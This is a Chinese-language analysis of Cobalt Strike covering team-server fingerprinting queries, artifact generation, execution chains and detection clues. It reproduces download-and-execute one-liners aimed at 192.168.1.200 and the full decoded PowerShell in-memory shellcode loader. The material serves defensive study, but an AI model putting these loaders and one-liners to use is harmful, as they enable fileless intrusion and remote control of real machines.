前言
记录一下CobaltStrike的分析过程。
Infrastructure Construction
Cert
1
| ssl.cert.serial:146473198
|
Port
1
| hash:-2007783223 port:50050
|
Protocol
1
| ssl.jarm:07d14d16d21d21d00042d41d00041de5fb3038104f457d92ba02e9311512c2
|
Stager
CobaltStrike 的 Beacon 生成分为两种,Stager Beacon 和 Stage/Stageless Beacon。
其中,Stager Beacon 是分阶段的,其先是一段很简单的加载器,作用是向C2 Server 请求payload。
C2 Server 在生成payload的url的过程存在可猜解性,可以被穷举,从而被暴露。
生成url的过程:
1、从大小写字母+数字的字符数组中随机指定长度的字符序列。
2、调用checksum8函数计算字符序列的ASCII和与256的模是否等于固定值92L或93L。
3、如果符合条件则生成stager的url。
C2 Server 对请求url的验证过程:
1、当控制端生成stager时,调用MSFURI()生成请求URI,再把生成的URI写入stager。
2、WebServer中的serve函数收到Stager的请求报文时,调用isStager/isStager64函数验证传入的URI。
3、isStager/isStager64函数经过checksum8函数的计算后,结果等于92或者93就会返回payload文件信息。
穷举检测的过程:
工具1
工具2
Beacon
未授权访问:
未对反斜杠做校验,导致通过构造请求即可获取到beacon.dll
Login
客户端和服务端在进行密码校验的时候,当密码正确会出现51966,错误则为00000
将51966转换一下作为搜索语法
1
| response:"\\x00\\x00\\xca\\xfe"
|
1
| response:"\\x00\\x00\\x00\\x00" +port:"50050" +service:"ssl"
|
Initial Access
Windows Executable
Windows Executable 功能会生成一个 Windows 可执行的分阶段的Artifact,用于传送一个 payload stager。
1、生成过程
该函数作用是读取resources目录下的文件,定位到1024个A的位置,然后将shellcode与数组进行异或加密等操作,最后将各种所有数据替换填入可执行文件。
1
| "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
|
这段字符串是 EICAR(欧洲计算机防病毒研究所)开发的一种测试代码,用于测试设备的防病毒能力。一旦某个文件包含或者流量中包含这段代码,就会被大部分杀软和流量检测设备检测到并发出告警。一般使用的cobaltstrike都经过破解,所以不会在文件中出现该特征。
生成的可执行文件前后的对比
2、执行过程
静态分析:
通过sprintf函数拼接命名管道pipe 服务端的字符串,对sub_4016D3函数创建线程。
连续跟进线程区域代码,主要是对命名管道做创建名称、连接、写入和关闭操作。
返回sub_4017A2函数,连续跟进后,申请内存,并对payload进行异或解密操作,创建线程写入到内存中,最后指向开始执行的地址。
命名管道
动态调试:
未写入payload前的内存区块
写入payload后的内存区块,并进行了异或解密
进入payload地址,对shellcode进行分析
步进到2008F,通过堆栈窗口可以看到LoadlibraryA的api hash 和参数wininet。判断该处为加载wininet.dll
参考
3、检测过程
网络:首先开始向c2 server 发起stager url 请求,在建立连接后,传输异或加密的Beacon.dll
函数导入表:
API Hash:
1 2 3 4 5 6 7 8 9 10 11 12
| LoadLibraryA:0x0726774c InternetOpenA:0xa779563a InternetConnectA:0xc69f8957 HttpOpenRequestA:0x3b2e55eb InternetSetOptionA:0x869e4675 HttpSendRequestA:0x7b18062d GetLastError:0x5de2c5aa GetDesktopWindow:0x315e2145 InternetErrorDlg:0x0be057b7 ExitProcess:0x56a2b5f0 VirtualAlloc:0xe553a458 InternetReadFile:0xe2899612
|
参考
内存:可以看到明显的pe结构
命名管道:
Windows Executable(S)
Windows Executable (S)功能会生成一个 Windows 可执行的无阶段的Artifact,直接和监听器连接、传输数据和命令。
1、生成过程
beacon的生成:
选择listener和payload
选择Beacon.dll
加载完Beacon.dll后,读取c2拓展文件配置,解析参数后,对Beacon.dll进行处理
在处理的过程,会设置4096个字节,不足用随机字符填充
进行异或加密
最后读取c2拓展文件配置,解析参数后,对PE结构进行处理
loader的生成:
读取beacon.dll,随机一个数值,对Beacon 进行异或加密,定位到1024个A的位置进行填充替换。
2、执行过程
静态分析
创建命名管道
操作命名管道
分配内存区块,对数据进行异或解密
动态分析:
创建命名管道
异或解密成功后的beacon.dll
3、检测过程
异或特征:
在生成beacon.dll 的时候,要依赖一些模板dll的,如果进行改造除了修改改特征外,还需要对dll进行解密、反编译和修改,再重写进行加密。
网络:
函数导入表:
内存:把内存导出,然后加载到ida进行静态分析
Scripted Web Delivery (S)
scripted-web-delivery(s)会生成一个无阶段的 Beacon payload Artifact,在 cobaltstrike 的web服务器上托管,
并提供一个单行来下载和运行Artifact。该过程也称”无文件落地攻击”。
“无文件落地攻击”是指恶意程序文件不直接落地到目标系统的磁盘空间中的一种攻击手法,常用于逃避传统的安全检测机制。
1 2 3
| powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.200:80/a'))" cmd.exe /c bitsadmin /transfer 4c79 http://192.168.1.200:80/b %APPDATA%\4c79.exe&%APPDATA%\4c79.exe&del %APPDATA%\4c79.exe python -c "import urllib2; exec urllib2.urlopen('http://192.168.1.200:80/c').read();"
|
1、生成过程
生成攻击连接
生成托管脚本
2、分析过程
访问url,即可看到脚本代码。
大概框架为:
1
| $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("数据"));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
|
解码内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| Set-StrictMode -Version 2
$DoIt = @' function func_get_proc_address { Param ($var_module, $var_procedure) $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string')) return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure)) }
function func_get_delegate_type { Param ( [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters, [Parameter(Position = 1)] [Type] $var_return_type = [Void] )
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed') $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
return $var_type_builder.CreateType() }
[Byte[]]$var_code = [System.Convert]::FromBase64String('数据')
for ($x = 0; $x -lt $var_code.Count; $x++) { $var_code[$x] = $var_code[$x] -bxor 35 }
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))) $var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void]))) $var_runme.Invoke([IntPtr]::Zero) '@
If ([IntPtr]::size -eq 8) { start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job } else { IEX $DoIt }
|
工具
利用解码出来的powershell脚本进行异或解密
1 2 3 4 5 6
| [Byte[]]$var_code = [System.Convert]::FromBase64String('数据')
for ($x = 0; $x -lt $var_code.Count; $x++) { $var_code[$x] = $var_code[$x] -bxor 35 } [System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\data.txt", $var_code)
|
可以看到这是明显的pe结构
综上可以判断,cobaltstrike的无文件落地攻击方式,是在c2 server 上托管一份特定的脚本,该份特定的脚本内含已加密加码的beacon.dll,其功能是将恶意的beacon.dll加载到内存中并执行。
当攻击进行时,攻击者会利用如powershell等系统特有的可执行程序发起网络连接,下载并执行该份托管的脚本。
3、检测过程
网络:
默认拓展文件下会选择一个url片段
进程:
日志:
函数导入表
HTML Application
hta是HTML-Application缩写,直接将某个html页面保存成hta的格式。
就是一个独立的应用软件,点开与网页内容并无区别,界面与VB、C++等程序语言所设计的软件界面没什么差别,显示为窗口交互界面。
但是HTA虽然用HTML、JS和CSS编写,权限却比普通网页大得多,能够读写文件、操作注册表等。
依赖于mshta.exe解析,而mshta.exe是系统下自带的。
简单的来讲HTA是个披着web外衣的exe应用程序。
cobaltstrike生成一个HTML应用hta,该应用中嵌入了一个payload stager,通过URL下载payload到目标磁盘。运行后目标主机便可以返回会话给CS服务器。
1、生成过程
2、分析过程
2、分析过程
1
| powershell.exe -nop -w hidden -encodedcommand 数据
|
1
| $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("数据"));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| Set-StrictMode -Version 2
$DoIt = @' function func_get_proc_address { Param ($var_module, $var_procedure) $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string')) return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure)) }
function func_get_delegate_type { Param ( [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters, [Parameter(Position = 1)] [Type] $var_return_type = [Void] )
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed') $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
return $var_type_builder.CreateType() }
[Byte[]]$var_code = [System.Convert]::FromBase64String('数据')
for ($x = 0; $x -lt $var_code.Count; $x++) { $var_code[$x] = $var_code[$x] -bxor 35 }
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))) $var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void]))) $var_runme.Invoke([IntPtr]::Zero) '@
If ([IntPtr]::size -eq 8) { start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job } else { IEX $DoIt }
|
这是hta 下,经过一次网络请求获得的经过了两次加密编码后的stager payload ,它作用是到c2 server 拉取beacon.dll 回来加载到内存中执行。
3、检测过程
网络:
进程:
日志:
MS Office Macro
宏是一个批量处理程序命令,正确地运用它可以提高工作效率。微软的office软件允许用户自己编写,叫VBA的脚本来增加其灵活性,进一步扩充它的能力。
1、生成过程
2、分析过程
从vba的代码上看,大概功能是创建线程和申请内存,同时通过rundll32.exe加载加密内容。
通过宏调试,获取到其加载地址,589824
589824转换后是0x9000
定位到rundll32.exe的进程,找到0x9000地址的内存信息,确定其为stager payload的信息。
dump下来该段内存信息,载入ida进行静态分析
3、检测过程
网络:
进程:
日志:
内存:
cobaltstrike 的宏攻击的过程是点击开启了宏的样本后,office程序会通过rundll32.exe加载stager payload ,stager到c2 server 拉取beacon.dll 加载执行。
Post Exploitation
Execution
在执行阶段,根据cobaltstrike的执行方式不同,可以分为3类。
第一类:如shell和powershell
1、执行方式
检测到任务后,直接构建提交,但在执行的时候调用cmd.exe或者powershell.exe 进行命令执行
2、主机情况
beacon.exe -> cmd.exe/powershell.exe -> whoami.exe -> 命令执行
cmd.exe
powershell.exe
第二类:如run和execute
1、执行方式
检测到任务后,直接构建提交,直接执行
2、主机情况
beacon.exe -> 命令执行
第三类:powerpick、portscan
1、执行方式
检测到任务后,构建构建任务,提交任务,在执行的过程加载rundll32.exe,注入dll,然后通过命名管道与服务端进行通信。
发布任务
构建任务
提交任务
2、主机情况
beacon.exe -> rundll32.exe -> beacon.dll -> 命令执行
Process Inject
进程注入是一种在独立的活动进程的地址空间中执行任意代码的方法。
在另一个进程的上下文中运行代码,会允许访问该进程的内存、系统资源、网络资源以及可能的特权提升。
由于执行的代码由合法的程序代理执行,因此通过进程注入执行也可能会绕过部分安全产品的防病毒检测或进程白名单检测。
进程注入是一种广泛使用的躲避检测的技术,通常用于恶意软件或者无文件技术。
其需要在另一个进程的地址空间内运行特制代码,进程注入改善了不可见性,同时一些技术也实现了持久性。
参考
1、代码实现:
获取进程id、架构类型、监听器等信息,然后构建任务提交执行
2、执行过程:
3、检测过程:
日志
内存
Credential Access
1、代码实现
2、执行过程
3、检测过程
日志:•beacon.exe -> rundll32.exe -> beacon.dll -> lsass.exe